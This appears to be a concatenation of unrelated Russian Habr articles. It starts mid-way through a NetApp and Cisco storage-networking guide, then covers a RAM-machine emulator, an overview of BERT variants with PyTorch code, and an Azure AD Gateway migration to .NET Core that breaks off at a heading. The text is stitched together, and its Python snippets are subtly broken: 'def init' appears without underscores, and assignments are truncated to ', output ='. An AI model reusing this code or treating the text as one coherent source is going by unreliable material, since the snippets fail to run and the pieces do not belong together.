Настройки *flowcontrol* должны соответствовать для обоих: портов СХД и подключённых к ним портов свича. Другими словами если *flowcontrol* на портах СХД установлен в *none*, то и на свиче *flowcontrol* должен быть установлен в *off* и наоборот. Другой пример: если СХД отправляет *flowcontrol **send***, то свитч должен обязательно быть настроен для их приёма (*flowcontrol **receive on***). Не соответствие настроек *flowcontrol* приводит к разрыву установленных сессий протоколов, к примеру CIFS или iSCSI, связь будет присутствовать, но из-за постоянных разрывов сессий будет работать очень медленно во время увеличения нагрузки на линк, а во время небольших нагрузок проблема проявляться не будет вовсе.
* Общее правило гласит по возможности не включать *flowcontrol*, [TR-3428](http://media.netapp.com/documents/tr-3428.pdf).
* Для 10GB сетей крайне не рекомендуется включать *flowcontrol*.
* Для сетей 1GB можно включать *flowcontrol* (в качестве исключения из правила): хранилище отсылает управление потоком, а свитч принимает — на СХД устанавливать *flowcontrol* в значение *send*, а на свитче в значение *Desired* (или *send/tx off* & *receive/rx on*).
* Для 100 MB сетей (в качестве исключения из правила) можно включать *flowcontrol* на приём и передачу на обоих: хранилище и свитч отсылают и принимают команды управления потоком.
* Тем, кому интересно почему такие рекомендации, вам [сюда](http://www.seanxwang.com/2011/03/cisco-flow-control-with-netapp-nas.html).
* Дополнительно смотри TR-[3802](http://www.netwell.ru/docs/netapp/rus_tr-3802_ethernet_storage_bp.pdf)
* Примеры настройки [хранилища](http://habrahabr.ru/post/215351/#configuration) и [свичий](http://habrahabr.ru/post/215351/#switch) можно посмотреть в соответствующих статьях.
Не путать «Обычный» FlowControl с PFC (IEEE 802.1Qbb) для DCB (Lossless) Eternet.
##### [Spanning Tree Protocol](#STP)
В случае использования NetApp с «классическим Ethernet» (т.е. Ethernet который так сказать «не уровня „Datacenter“) крайне рекомендуется включить RSTP, а Ethernet порты, в которые подключены конечные узлы (СХД и хосты) настроить с включенным режимом *portfast*, [TR-3749](http://media.netapp.com/documents/tr-3749.pdf). Ethernet сети уровня „Datacenter“ вообще не нуждаются в Spanning Tree, примером такого оборудования могут служить коммутаторы Cisco серии Nexus с технологией vPC.
###### [Converged Network](#converged_network)
Учитывая „универсальность“ 10GBE, когда по одной физике могут ходить одновременно FCoE, NFS, CIFS, iSCSI, на ряду с применением таких технологий как vPC и LACP, а также простоту обслуживания Ethernet сетей [выгодно отличает протокол и коммутаторы](http://habrahabr.ru/post/224869/) от FC таким образом предоставляя возможность „манёвра“ и сохранения инвестиций в случае изменения бизнес потребностей.
##### [FC8 vs 10GBE: iSCSI, CIFS, NFS](#FC8vs10GBE_iSCSI_CIFS_NFS)
Внутренние тестирования СХД NetApp (у других вендоров СХД эта ситуация может отличаться) FC8G и 10GBE iSCSI, CIFS и NFS *показывают практически одинаковую производительность и латенси*, характерным для OLTP и виртуализации серверов и десктопов, т.е. для нагрузок с мелкими блоками и случайным чтением записью.
Рекомендую ознакомится со стаьёй описывающей сходства, отличия и перспективы [Ethernet & FC](http://habrahabr.ru/post/224869/).
В случае когда инфраструктура заказчика подразумевает два коммутатора, то можно говорить об одинаковой сложности настройки как SAN так и Ethernet сети. Но у многих заказчиков SAN сеть не сводится к двум SAN коммутаторам где „все видят всех“, на этом как правило, настройка далеко не заканчивается, в этом плане обслуживание Ethernet намного проще. Как правило SAN сети заказчиков это множество коммутаторов с избыточными линками и связями с удалёнными сайтами, что отнюдь не тривиально в обслуживании. И если что-то пойдёт не так, [Wireshark](http://www.wireshark.org)'ом трафик не „послушаешь“.
Современные конвергентные коммутаторы, такие как Cisco Nexus 5500 способны коммутировать как трафик Ethernet так и FC позволяя иметь большую гибкость в будущем благодаря решению „два-в-одном“.
##### [LACP](#LACP)
Также не забываете о возможности агрегации портов при помощи EtherChannel LACP. Нужно также понимать, что агрегация не объединяет волшебным образом Ethernet порты, а всего лишь распределяет (балансирует) трафик между ними, другими словами два агрегированных 10GBE порта далеко не всегда „дотягивают“ до 20GBE. Здесь стоит отметить, что в зависимости от того, находится ли СХД в отдельной IP подсети от хостов, нужно выбирать правильный метод балансировки. В случае когда СХД находится в отдельной подсети от хостов нельзя выбирать балансировку по MAC (дестинейшина), так как он будет всегда один и тот-же — MAC адрес шлюза. В случае когда хостов меньше, чем количество агрегированных линков на СХД, балансировка работает не оптимальным образом в виду не совершенства и ограничений сетевых алгоритмов балансировки нагрузки. И наоборот: чем больше узлов сети используют агрегированный линк и чем „правильнее“ подобран алгоритм балансировки, тем больше максимальная пропускная способность агрегированного линка приближается к сумме пропускных способностей всех линков. Подробнее про белансировку LACP смотрите в статье „[Агрегация каналов и балансирова трафика по IP](http://habrahabr.ru/post/215351/)“.
Документ [TR-3749](http://www.netapp.com/us/media/tr-3749.pdf) описывает нюансы настройки VMWare ESXi с СХД NetApp и коммутаторами Cisco.
**Пример настройки LACP**на NetApp 7-Mode
```
vif create lacp -b ip {Port list}
```
на NetApp Clustered ONTAP
```
ifgrp create -node -ifgrp -distr-func {mac | ip | sequential | port} -mode multimode\_lacp
ifgrp add-port -node -ifgrp -port {Port 1}
ifgrp add-port -node -ifgrp -port {Port 2}
```
**Обратите внимание, portfast (spanning-tree port type edge) должен быть настроен ДО того, как будет подключён NetApp!**
На коммутаторе Cisco Catalyst:
```
cat(config)#interface gi0/23
cat(config)#description NetApp e0a Trunk
cat(config)#switchport mode trunk
cat(config)#switchport trunk allowed vlan 10,20,30
cat(config)#switchport trunk native vlan 123
cat(config)#flowcontrol receive on
cat(config)#no cdp enable
cat(config)#spanning-tree guard loop
cat(config)#!portfast must be configured before netapp connection
cat(config)#spanning-tree portfast
cat(config)#
cat(config)#int port-channel1
cat(config-if)#description LACP multimode VIF for netapp1
cat(config-if)#int gi0/23
cat(config-if)#channel-protocol lacp
cat(config-if)#channel-group 1 mode active
```
На коммутаторе Cisco Nexus 5000:
```
n5k(config)#interface EthernetX/X/X
n5k(config-if)#switchport mode trunk
n5k(config-if)#switchport trunk allowed vlan XXX
n5k(config-if)#spanning-tree port type edge
n5k(config-if)#channel-group XX mode active
n5k(config)#
n5k(config)#interface port-channelXX
n5k(config-if)#switchport mode trunk
n5k(config-if)#switchport trunk allowed vlan XX
n5k(config-if)#!portfast must be configured before netapp connection
n5k(config-if)#spanning-tree port type edge
```
Уверен, что со временем мне будет что добавить в эту статью по оптимизации сети, спустя время, так что заглядывайте сюда время от времени.
**Замечания по ошибкам в тексте и предложения прошу направлять в ЛС.** | https://habr.com/ru/post/243119/ | null | ru | null |
# Эмулятор РАМ-машины
РАМ-машина — абстрактная вычислительная машина, обладающая полнотой по Тьюрингу, и принадлежащая классу регистровых машин. Она эквивалентна универсальной машине Тьюринга, при этом более наглядна и удобна в доказательстве корректности алгоритмов. В этом топике я расскажу, как она устроена и приложу ссылки на работающую имплементацию эмулятора РАМ-машины с некоторыми интересными примерами.
Абстрактная модель РАМ-машины (RAM: Random Access Machine) предполагает наличие бесконечного набора регистров, каждый из которых способен хранить целое число любой длины. Индекс регистра может быть любым целым числом (в т.ч. отрицательным). Программа для РАМ-машины — конечный набор инструкций, модифицирующих регистры памяти; можно смотреть на это как на очень простой ассемблер. Изучение машины начнем с рассмотрения набора команд.
### HALT
Самая простая инструкция, приказывающая машине остановить выполнение по ее достижению.
### READ
Машина должна поддерживать ввод-вывод, и операция READ предназначена для ввода числа с клавиатуры (или другого потока, однако, не стоит забывать что мы имеем дело с абстрактной моделью, где главное обеспечить ввод данных для алгоритма, чтобы можно было решить массовую задачу). Число вводится в регистр `[0]`, этот регистр и дальше будем считать «особенным».
### WRITE
Выводит (на экран) число, хранящееся в `[0]`. Больше никаких аргументов.
### LOAD *x / [x] / [[x]]*
Более хитрая инструкция — записывает в `[0]` произвольное значение. Значение может быть задано константно: `LOAD 5`, например. Или скопировано из другой ячейки: `LOAD [3]` — здесь значение из третьего регистра копируется в нулевой. Или же с помощью двойной адресации: `LOAD [[3]]` — в «ноль» попадет число из регистра, на который «ссылается» третий регистр. Таким образом, видно, что машина поддерживает косвенную адресацию.
### STORE *[x] / [[x]]*
Записывает значение из `[0]` в заданную ячейку. Доступна либо прямая адресация: `STORE [1]`, либо косвенная: `STORE [[1]]`.
### NEG
Обращает знак числа в `[0]`. Соответственно `-3` будет заменено на `3`, ноль знака не имеет.
### LSHIFT *x / [x] / [[x]]*
Выполняет побитовый сдвиг влево числа в `[0]` на указанный аргумент; доступна константа, прямой адрес, косвенный адрес. Например `LSHFIT [[3]]` умножит значение в `[0]` на двойку в степени значения регистра, на который ссылается `[3]`.
### RSHIFT *x / [x] / [[x]]*
Выполняет побитовый правый сдвиг, аргументы и смысл аналогичны LSHIFT. Классическая модель не допускает использование знаковых чисел в качестве аргументов LSHIFT/RSHIFT.
### ADD *x / [x] / [[x]]*
Прибавляет к `[0]` значение, указанное аргументом функции. Доступна константа, прямая адресация, косвенная.
Ну и напоследок, пригодится для организации циклов и условий:
### JUMP *метка*
Безусловный переход на указанную строку кода или метку.
### JG *метка*
Переход на указанную метку, если значение в нулевом регистре строго положительное.
Вот и все!
А как же другие арифметические операции? Да, классическая модель не предполагает избыточных инструкций, поэтому их придется реализовывать через сложение. В качестве небольшой головоломки предлагаю реализовать:
* умножение m на n (быстрее чем за *O(max(m,n))*);
* квадрат m (быстрее чем за *O(m)*);
* степень m (быстрее чем за *O(m \* log(m))*);
* корень произвольной степени (вспомнить метод Ньютона).
Более сложной задачей можно считать доказательство оценки сложности и корректности реализации каждого метода (но здесь это куда проще, чем на машине Тьюринга).
Одним из простейших свойств машины является легкость обнаружения *deadlock*-состояния (стабильного бесполезного состояния): если при переходе к той же метке значения регистров остались прежними — то мы «зависли».
Прилагаю пример простейшей программы (надеюсь, самоочевидной), которая суммирует *N* чисел введенных с клавиатуры (другие примеры в архиве с исполняемым файлом эмулятора):
Для некоторого разнообразия (если честно, изначально, чтобы «повеселить» детишек в школе) я добавил *несколько* примитивов (точка и линия) для рисования графических элементов, которыми можно создать что-нибудь забавное. Например:
Скачать имплементацию можно по [этой ссылке](http://dl.dropbox.com/u/243445/ram/RAMExecutable.7z), а исходники — [здесь](http://dl.dropbox.com/u/243445/ram/RAMSources.7z). К качеству исходников, как и к языку, на котором они написаны (да, это Delphi) не стоит сильно придираться, я их писал уже много лет назад и сам удивлен, что все работает. Реализация поддерживает длинную арифметику и эмулирует бесконечное число регистров, однако мы знаем, что память физической машины не безгранична :)
Удачи в попытках! | https://habr.com/ru/post/115229/ | null | ru | null |
# Все, что нужно знать об ALBERT, RoBERTa и DistilBERT
### Обзор различий и сходств различных трансформеров BERT из библиотеки Hugging Face и как их использовать
Привет Хабр! Представляю вам перевод статьи [Everything you need to know about ALBERT, RoBERTa, and DistilBERT](https://towardsdatascience.com/everything-you-need-to-know-about-albert-roberta-and-distilbert-11a74334b2da). Так же вдруг кому интересно то я веду [телеграм канал](https://t.me/devsp) где выкладываю интересные статьи и другие переводы статей на темы DS или ML которые могут быть вам интересны. А теперь к самой статье.
Photo by Nate RayfieldВ этой статье я расскажу все, что вам нужно знать про ALBERT, RoBERTa, и DistilBERT. Если непонятно по названию, эти модели — модифицированные версии оригинального современного трансформера BERT. Эти три модели из библиотеки Hugging Face — самые популярные на сегодняшний день. Я рассмотрю их сходства и различия по сравнению друг с другом и добавлю фрагменты кода. Они покажут, как вы можете их использовать.
Обратите внимание — я написал статью в июле 2022, поэтому для более ранних или поздних версий из Hugging face она уже не подойдет. И еще этот текст предполагает знания о трансформере BERT, поэтому рекомендую его изучить перед чтением. В этом же обзоре я только кратко пройдусь по этой технологии.
### BERT
BERT — Двунаправленные кодирующие представления от трансформеров — это первый трансформатор, созданный на основе оригинального енкодер-декодера. Он использует самообучение для задач моделирования языка по маске и для предсказания следующего предложения (next sentence prediction). Эти задачи нужны для обучения/производства контекстуальных представлений слов.
Основная архитектура BERT формируется путем укладки 12 блоков енкодеров (из оригинальной [статьи](https://arxiv.org/abs/1706.03762) о енкодер-декодер трансформерах). Чтобы дообучить себя на другие задачи, вроде ответов на вопросы (и не только), обобщение и классификация последовательностей, BERT добавляет дополнительные линейные слои поверх уже сложенных енкодеров.
Эти доп. слои используются для генерации определенного выходного сигнала в соответствии с задачей, которую решает BERT. Тем не менее важно помнить, что неизменной частью BERT является выход, получаемый из сложенных двунаправленных енкодеров. Именно эти блоки делают BERT настолько мощным: кастомизируя/добавляя любую конкретную комбинацию слоев, вы можете сконфигурировать BERT для решения практически любой задачи. В этой статье я покажу вам код, подходящий для такого запроса. Код для использования BERT из библиотеки трансформеров Hugging Face вы найдете [здесь](https://towardsdatascience.com/how-to-use-bert-from-the-hugging-face-transformer-library-d373a22b0209).
Для удобства привожу фрагмент кода, показывающий, как использовать BERT для любой задачи общего назначения:
Фрагмент кода
```
from transformers import BertModel
class Bert_Model(nn.Module):
def init(self, class):
super(Bert_Model, self).init()
self.bert = BertModel.from_pretrained('bert-base-uncased')
self.out = nn.Linear(self.bert.config.hidden_size, classes)
def forward(self, input):
, output = self.bert(**input)
out = self.out(output)
return out
```
*Приведенный выше фрагмент можно использовать для построения BERT-модели Pytorch общего назначения, для дообучения на любые другие неопределенные задачи. Как видите, вместо того, чтобы загрузить конкретную BERT-модель, уже разработанную для конкретной задачи, например BERTForQuestionAnswering или BERTForMaksedLM, я загрузил необработанную BERT, к которой не прилагается никаких «голов».*
*Вместо этого я добавил сверху свой собственный линейный слой, который можно настроить для других задач, отсутствующих в* [*списке*](https://huggingface.co/docs/transformers/index) *от Hugging Face. Код выше — это не обязательно то, что вам нужно. В этом случае посмотрите список список моделей в библиотеке, и используйте их api. Например, вот как можно построить модель языка с маской для BERT.*
Фрагмент кода
```
from transformers import BertTokenizer, BertForMaskedLM
from torch.nn import functional as F
import torch
tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
model = BertForMaskedLM.from_pretrained('bert-base-uncased', return_dict = True)
text = "The capital of France, " + tokenizer.mask_token + ", contains the Eiffel Tower."
input = tokenizer.encode_plus(text, return_tensors = "pt")
mask_index = torch.where(input["input_ids"][0] == tokenizer.mask_token_id)
output = model(**input)
logits = output.logits
softmax = F.softmax(logits, dim = -1)
mask_word = softmax[0, mask_index, :]
top_10 = torch.topk(mask_word, 10, dim = 1)[1][0]
for token in top_10:
word = tokenizer.decode([token])
new_sentence = text.replace(tokenizer.mask_token, word)
print(new_sentence)
```
*Моделирование языка по маске — это что-то вроде задачи «заполнить пробелы», когда модель маскирует токен и обучается использовать контекст вокруг него. Это нужно, чтобы предсказать, каким именно токеном она была замаскирована. В предыдущем примере код использует BERT для составления списка 10 лучших токенов-кандидатов для замаскированного токена. Подробнее об этом процессе* [*здесь*](https://towardsdatascience.com/how-to-use-bert-from-the-hugging-face-transformer-library-d373a22b0209)*. Результат этого фрагмента кода:*
Результат выполнения*The capital of France, paris, contains the Eiffel Tower.*
*The capital of France, lyon, contains the Eiffel Tower.*
*The capital of France, lille, contains the Eiffel Tower.*
*The capital of France, toulouse, contains the Eiffel Tower.*
*The capital of France, marseille, contains the Eiffel Tower.*
*The capital of France, orleans, contains the Eiffel Tower.*
*The capital of France, strasbourg, contains the Eiffel Tower.*
*The capital of France, nice, contains the Eiffel Tower.*
*The capital of France, cannes, contains the Eiffel Tower.*
*The capital of France, versailles, contains the Eiffel Tower.*
### RoBERTa
*RoBERTa — это простая, но очень популярная альтернатива/преемник BERT. Она улучшает BERT за счет тщательной и разумной оптимизации обучающих гиперпараметров для BERT. Несколько простых и понятных изменений в совокупности повышают производительность RoBERTa и позволяют ей превзойти BERT практически во всех задачах, для которых он был разработан.*
*Самое интересное, что во время публикации Роберты другой популярный новый трансформер,* [*XLNet*](https://towardsdatascience.com/how-to-use-xlnet-from-the-hugging-face-transformer-library-ddd0b7c8d0b9)*, также был представлен в исследовательской работе. Однако изменения, внесенные в XLNet, реализовать значительно сложнее, чем в RoBERTa, и это только увеличивает популярность последней среди сообщества AI/NLP.*
*Как я уже упоминал, RoBERTa использует ту же архитектуру, что и BERT. Однако, в отличие от BERT, во время предобучения она обучается только генерации пропущенного токена (BERT также предобучался предсказанию следующего предложения). Ниже приведены некоторые изменения в гиперпараметрах, благодаря которым RoBERTa достигла производительности.*
* *Более длительное время обучения и больший объем обучающих данных (в 10 раз больше — от 16GB к 160GB)*
* *Размер батча от 256 к 8000 и больший словарь — от 30k to 50k*
* *В качестве входных данных используются более длинные последовательности, но RoBERTa по-прежнему имеет ограничение на максимальное количество токенов — 512, как и у BERT*
* *Динамическое маскирование позволяет маскирующей схеме меняться при каждой подаче последовательности на модель. Отличие от BERT в том, что везде используется одна и та же маскирующая схема.*
*Знание того, как использовать BERT из библиотеки Hugging Face помогает понять, как закодирована RoBERTa (и другие модели из этой статьи).* [*Здесь*](https://towardsdatascience.com/how-to-use-bert-from-the-hugging-face-transformer-library-d373a22b0209) *вы можете узнать об этом больше. Если следовать коду из этого текста, использовать RoBERTa из Hugging Face довольно просто.*
Фрагмент кода
```
from transformers import RobertaModel
import torch
import torch.nn as nn
class RoBERTa_Model(nn.Module):
def init(self, classes):
super(RoBERTa_Model, self).init()
self.roberta = RobertaModel.from_pretrained('roberta-base')
self.out = nn.Linear(self.roberta.config.hidden_size, classes)
self.sigmoid = nn.Sigmoid()
def forward(self, input, attention_mask):
, output = self.roberta(input, attention_mask = attention_mask)
out = self.sigmoid(self.out(output))
return out
```
Приведенный выше код показывает, как можно построить модель RoBERTa Pytorch общего назначения. Если сравнить его с кодом для модели основанной на BERT, то увидите, что мы буквально заменяем BERT на RoBERTa! В этом есть смысл, ведь RoBERTa — это практически BERT, но лучше обученный.
Вскоре вы поймете, что это относится и к ALBERT с DistilBERT, ведь эти модели — модификации BERT. Код «обнимающего лица» работает так, что для использования любой модели, достаточно взять код BERT из вышеприведенной статьи и заменить все термины BERT на термины RoBERTa. То есть, мы импортируем модель RoBERTa, используем правильный идентификатор модели 'RoBERTa-base' и импортируем правильный токенизатор RoBERTa.
Поэтому, если вы хотите проводить моделирование языка по маске, создавать экстрактивную вопросно-ответную систему или что-то еще с помощью RoBERTa, вы можете использовать данные в статье фрагменты кода просто заменить термины BERT на RoBERTa, DistilBERT или ALBERT (в зависимости от того, что вы хотите использовать).
### DistilBERT
DistilBERT нацелен на оптимизацию обучения за счет уменьшения размера и увеличения скорости BERT — и все это при попытке сохранить производительность. В частности, DistilBERT весит на 40% меньше, чем оригинальная BERT-модель, она на 60% быстрее ее и сохраняет 97% ее функциональности.
Как DistilBERT это делает? Он использует почти ту же архитектуру, что и BERT, но только с 6 блоками енкодера (в базе BERT их 12). Эти блоки инициализируются простым взятием 1 из каждых 2 предобученных блоков енкодеров BERT. Кроме того, из DistilBERT удалено сопоставление токенов и функции пулинга.
В отличие от BERT, DistilBERT предобучается только через моделирование языка по маске (BERT делал это с помощью MLM и Next Sentence Prediction). DistilBERT обучается с использованием тройного лосса:
* Тот же лосс языковой модели, что и в BERT;
* Лосс дистилляции измеряет сходство выходов между DistilBERT и BERT;
* Лосс косинусового расстояния измеряет, насколько похожи скрытые состояния DistilBERT и BERT.
Комбинация лоссов имитирует отношения «ученик-учитель» между DistilBERT и BERT. DistilBERT также использует несколько схожих с RoBERTa гиперпараметров — например, больший размер батча, динамическое маскирование и отсутствие предобучения для Next Sentence Prediction. Если посмотреть на код для RoBERTa (и BERT), то использование DistilBERT от Hugging face тоже будет легким.
Фрагмент кода
```
from transformers import DistilBertModel
import torch
import torch.nn as nn
class DistilBERT_Model(nn.Module):
def init(self, classes):
super(DistilBERT_Model, self).init()
self.distilbert = DistilBertModel.from_pretrained('distilbert base-uncased')
self.out = nn.Linear(self.distilbert.config.hidden_size, classes)
self.sigmoid = nn.Sigmoid()
def forward(self, input, attention_mask):
, output = self.distilbert(input, attention_mask = attention_mask)
out = self.sigmoid(self.out(output))
return out
```
### ALBERT
*ALBERT был представлен примерно в то же время, что и DistilBERT. Как и DistilBERT, ALBERT уменьшает размер модели BERT (в 18 раз меньше параметров), а также обучается в 1,7 раза быстрее. Но в отличие от DistilBERT, у ALBERT нет компромисса производительности (у DistilBERT он есть, хоть и небольшой). Это происходит из-за разницы в том, как структурированы эксперименты DistilBERT и ALBERT. Первый подготовлен так, чтобы использовать BERT в качестве учителя для процесса обучения/дистилляции. Второй, как и BERT, обучается с нуля. Более того, ALBERT превосходит все предыдущие модели, включая BERT, RoBERTa, DistilBERT и XLNet.*
*С помощью этих методов уменьшения параметров, ALBERT достигает результатов с меньшей архитектурой модели:*
* ***Факторизованная параметризация* эмбеддинга*.*** *Чтобы размер скрытых слоев и размерность* эмбеддинга *были разными, ALBERTa деконструирует матрицу* эмбеддинга *на 2 части. Это увеличивает размер скрытого слоя, не меняя фактического размера* эмбеддинга*. После разложения матрицы, ALBERT добавляет линейный или полносвязный слой после завершения фазы* эмбеддинга*. Это гарантирует, что размерность размерности* эмбеддинга *будет такой же правильной.* [*Здесь*](https://tungmphung.com/a-review-of-pre-trained-language-models-from-bert-roberta-to-electra-deberta-bigbird-and-more/#albert) *об этом рассказано подробнее.*
* ***Межслойное совместное использование параметров.*** *Напомним, что BERT и ALBERTa имеют по 12 блоков кодирования. В ALBERTa эти блоки совместно используют все параметры. Это уменьшает размер параметров в 12 раз, а также увеличивает регуляризацию модели. Регуляризация — это метод калибровки ML-моделей, который используется, чтобы избежать перебора/недобора;*
* ***ALBERTa удаляет дропауты.*** *Дропаут — это техника, при которой случайно выбранные нейроны игнорируются во время обучения. Это означает, что они больше не обучаются и, по сути, временно бесполезны.*
Фрагмент кода
```
from transformers import AlbertModel
import torch
import torch.nn as nn
class ALBERT_Model(nn.Module):
def init(self, classes):
super(ALBERT_Model, self).init()
self.albert = AlbertModel.from_pretrained('albert-base-v2')
self.out = nn.Linear(self.albert.config.hidden_size, classes)
self.sigmoid = nn.Sigmoid()
def forward(self, input, attention_mask):
, output = self.albert(input, attention_mask = attention_mask)
out = self.sigmoid(self.out(output))
return out
```
### Другие похожие трансформеры
Хотя ALBERT, RoBERTa и DistilBERT являются тремя наиболее популярными трансформерами, все они являются модификациями BERT. Некоторые другие популярные модели тоже достигают аналогичной современной производительности. К ним относятся XLNet, BART и Mobile-BERT, но список ими не ограничивается. [XLNet](https://towardsdatascience.com/how-to-use-xlnet-from-the-hugging-face-transformer-library-ddd0b7c8d0b9) — это авторегрессионная языковая модель, основанная на Transformer-XL и использующая [пермутативное моделирование языка](https://towardsdatascience.com/permutative-language-modeling-explained-9a7743d979b4) для достижения выдающихся результатов наравне с RoBERTa. Mobile-BERT похож на DistilBERT: он в первую очередь рассчитан на скорость и эффективность.
По сравнению с моделями, основанными на BERT, она в 4,3 раза меньше и в 5,5 раз быстрее, но при этом имеет похожую производительность. BART — еще одна предобученная модель, близкая к RoBERTa по производительности в задачах NLU (понимание естественного языка). Ещё BART хорошо справляется с задачами NLG (генерация текста), такими как абстрактное резюмирование, и именно это делает его уникальным. Больше об этом вы узнаете [здесь](https://tungmphung.com/a-review-of-pre-trained-language-models-from-bert-roberta-to-electra-deberta-bigbird-and-more/#albert).
Надеюсь, материал был несложным. Если мне нужно что-то дорассказать или прояснить, оставьте комментарий ниже.
### Ссылки
1. [A review of pre-trained language models: from BERT, RoBERTa, to ELECTRA, DeBERTa, BigBird, and more](https://tungmphung.com/a-review-of-pre-trained-language-models-from-bert-RoBERTa-to-electra-deberta-bigbird-and-more/#DistilBERT).
2. [BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding](https://arxiv.org/abs/1810.04805).
3. [ALBERT: A Lite BERT for Self-Supervised Learning of Language Representations](https://ai.googleblog.com/2019/12/ALBERT-lite-bert-for-self-supervised.html).
4. [DistilBERT, a distilled version of BERT: smaller, faster, cheaper and lighter](https://arxiv.org/abs/1910.01108).
5. [Hugging Face transformer library](https://huggingface.co/docs/transformers/index). | https://habr.com/ru/post/680986/ | null | ru | null |
# Azure Active Directory Gateway теперь на .NET Core 3.1
*\*Gateway — шлюз*
Azure Active Directory Gateway — это обратный прокси-сервер, который работает с сотнями служб, входящих в Azure Active Directory (Azure AD). Если вы пользовались такими службами, как office.com, outlook.com, azure.com или xbox.live.com, то вы использовали шлюз Azure AD. Шлюз присутствует в более чем 53 центрах обработки данных Azure по всему миру и обслуживает ~115 миллиардов запросов ежедневно. До недавнего времени шлюз Azure AD работал на платформе .NET Framework 4.6.2. С сентября 2020 года он работает на .NET Core 3.1.
#### Мотивация для перехода на .NET Core
Масштаб результатов шлюза приводит к значительному потреблению вычислительных ресурсов, что, в свою очередь, стоит денег. Поиск путей снижения стоимости работы сервиса был ключевой целью для команды, стоящей за ней. Шумиха вокруг производительности .NET Core привлекла наше внимание, тем более что [TechEmpower](https://www.techempower.com/benchmarks/#section=data-r19&hw=ph&test=plaintext) назвал ASP.NET Core одним из самых быстрых веб-фреймворков на планете. Мы провели собственные тесты прототипов шлюза на .NET Core, и результаты позволили нам принять очень простое решение: мы должныперенести наш сервис на .NET Core.
#### Обеспечивает ли .NET Core реальную экономию средств?
Безусловно, обеспечивает. Благодаря шлюзу Azure AD мы смогли сократить затраты на CPU (ЦП) на 50%.
Раньше шлюз работал на IIS с .NET Framework 4.6.2. Сегодня он работает на IIS с .NET Core 3.1. На изображении ниже показано, что использование ЦП сократилось вдвое на .NET Core 3.1 по сравнению с .NET Framework 4.6.2 (фактически удвоив пропускную способность).
В результате увеличения пропускной способности мы смогли уменьшить размер нашего сервера с ~40 тыс. до ~20 тыс. ядер (сокращение на 50%).
Как произошел переход к .NET Core?
Он происходил в 3 этапа.
### Этап 1: Выбор пограничного сервера
Когда мы начали работу по переходу, первый вопрос, который мы должны были задать себе, был: какой из трех серверов в .NET Core мы выберем?
Мы запустили наши сценарии на всех трех серверах и поняли, что все сводится к поддержке TLS. Учитывая, что шлюз является обратным прокси, поддержка широкого спектра сценариев TLS очень важна.
**Kestrel:**
Когда мы инициировали наш переход (ноябрь 2019 года), [Kestrel](https://docs.microsoft.com/aspnet/core/fundamentals/servers/kestrel?view=aspnetcore-5.0) не поддерживал ни согласование клиентских сертификатов, ни их аннулирование для каждого имени хоста. В .NET 5.0 поддержка этих функций была [добавлена.](https://github.com/dotnet/runtime/issues/31097)
Как и в .NET 5.0, Kestrel (благодаря использованию SslStream) не поддерживает CTL-хранилища для каждого имени хоста. Поддержка [ожидается в .NET 6.0.](https://github.com/dotnet/runtime/issues/45456)
**HTTP.sys:**
[Сервер HTTP.sys](https://docs.microsoft.com/aspnet/core/fundamentals/servers/httpsys?view=aspnetcore-5.0) столкнулся с несоответствием между конфигурацией TLS на Http.Sys и имплементацией .NET: Даже если привязка настроена так, чтобы не согласовывать клиентские сертификаты, обращение к свойству Client certificate в .NET Core вызывает нежелательное повторное согласование TLS.
Например, выполнение простого null check в C# приводит к повторному согласованию TLS handshake (рукопожатия TLS):
```
if (HttpContext.Connection.ClientCertificate != null)
```
Это показано в <https://github.com/dotnet/aspnetcore/issues/14806> в ASP.NET Core 3.1. В то время, когда мы делали переход в ноябре 2019 года, мы были на ASP.NET Core 2.2 и поэтому не выбрали этот сервер.
**IIS:**
[IIS](https://docs.microsoft.com/aspnet/core/host-and-deploy/iis/?view=aspnetcore-5.0) отвечал всем нашим требованиям к TLS, поэтому мы выбрали именно этот сервер.
### Этап 2: Миграция приложения и зависимостей
Как и многие крупные службы и приложения, шлюз Azure AD имеет множество зависимостей. Некоторые из них были написаны специально для этой службы, а некоторые другими специалистами внутри и вне Microsoft. В некоторых случаях эти библиотеки уже были нацелены на .NET Standard 2.0. В других случаях мы обновили их для поддержки .NET Standard 2.0 или нашли альтернативные имплементации, например, удалили нашу устаревшую библиотеку Dependency Injection и вместо нее использовали встроенную в .NET Core поддержку для внедрения зависимостей. На этом этапе большую помощь оказал [.NET Portability Analyzer.](https://docs.microsoft.com/dotnet/standard/analyzers/portability-analyzer)
Для самого приложения:
* Шлюз Azure AD имел зависимость от IHttpModule и IHttpHandler из классического ASP.NET, которой нет в ASP.NET Core. Поэтому мы переработали приложение, используя конструкции промежуточного ПО в ASP.NET Core.
* Одной из вещей, которая действительно помогла в процессе миграции, является Azure Profiler (служба, которая собирает трассировки производительности на виртуальных машинах Azure). Мы развертывали наши ночные сборки на тестовых площадках, использовали [wrk2](https://github.com/giltene/wrk2) в качестве агента нагрузки для тестирования сценариев под нагрузкой и собирали трассы Azure Profiler. Эти трассировки затем информировали нас о следующей настройке, необходимой для получения пиковой производительности нашего приложения.
### Этап 3: Постепенное развертывание
Философия, которую мы придерживались во время развертывания, заключалась в том, чтобы обнаружить как можно больше проблем с минимальным или нулевым влиянием на работу.
* Мы развернули наши первоначальные версии в тестовом, интеграционном и DogFood средах. Это привело к раннему обнаружению ошибок и помогло исправить их до того, как они попали в работу.
* После завершения кода мы развернули сборку .NET Core на одной производственной системе в единице масштабирования. Единица масштабирования — это пул виртуальных машин с балансировкой нагрузки.
* В единице масштабирования ~100 машин, где на 99 машинах все еще работала наша существующая сборка .NET Framework и только на 1 машине была установлена новая сборка .NET Core.
* Все ~100 машин в этом масштабном блоке получают точный тип и количество трафика. Затем мы сравнили коды состояния, количество ошибок, функциональные сценарии и производительность одной машины с остальными 99 машинами, чтобы обнаружить аномалии.
* Мы хотели, чтобы эта единственная машина вела себя функционально так же, как и остальные 99 машин, но имела гораздо более высокую производительность/пропускную способность, что мы и наблюдали.
* Мы также "перенаправили" трафик с действующих производственных устройств (работающих с .NET Framework build) на устройства с .NET Core, чтобы сравнить и сопоставить их, как указано выше.
* Как только мы достигли функциональной эквивалентности, мы начали увеличивать количество единиц масштаба, работающих на .NET Core, и постепенно расширили их до целого центра данных.
* После миграции всего центра обработки данных последним шагом было постепенное распространение по всему миру на все центры обработки данных Azure, где присутствует служба шлюза Azure AD. Миграция завершена!
### Полученные знания
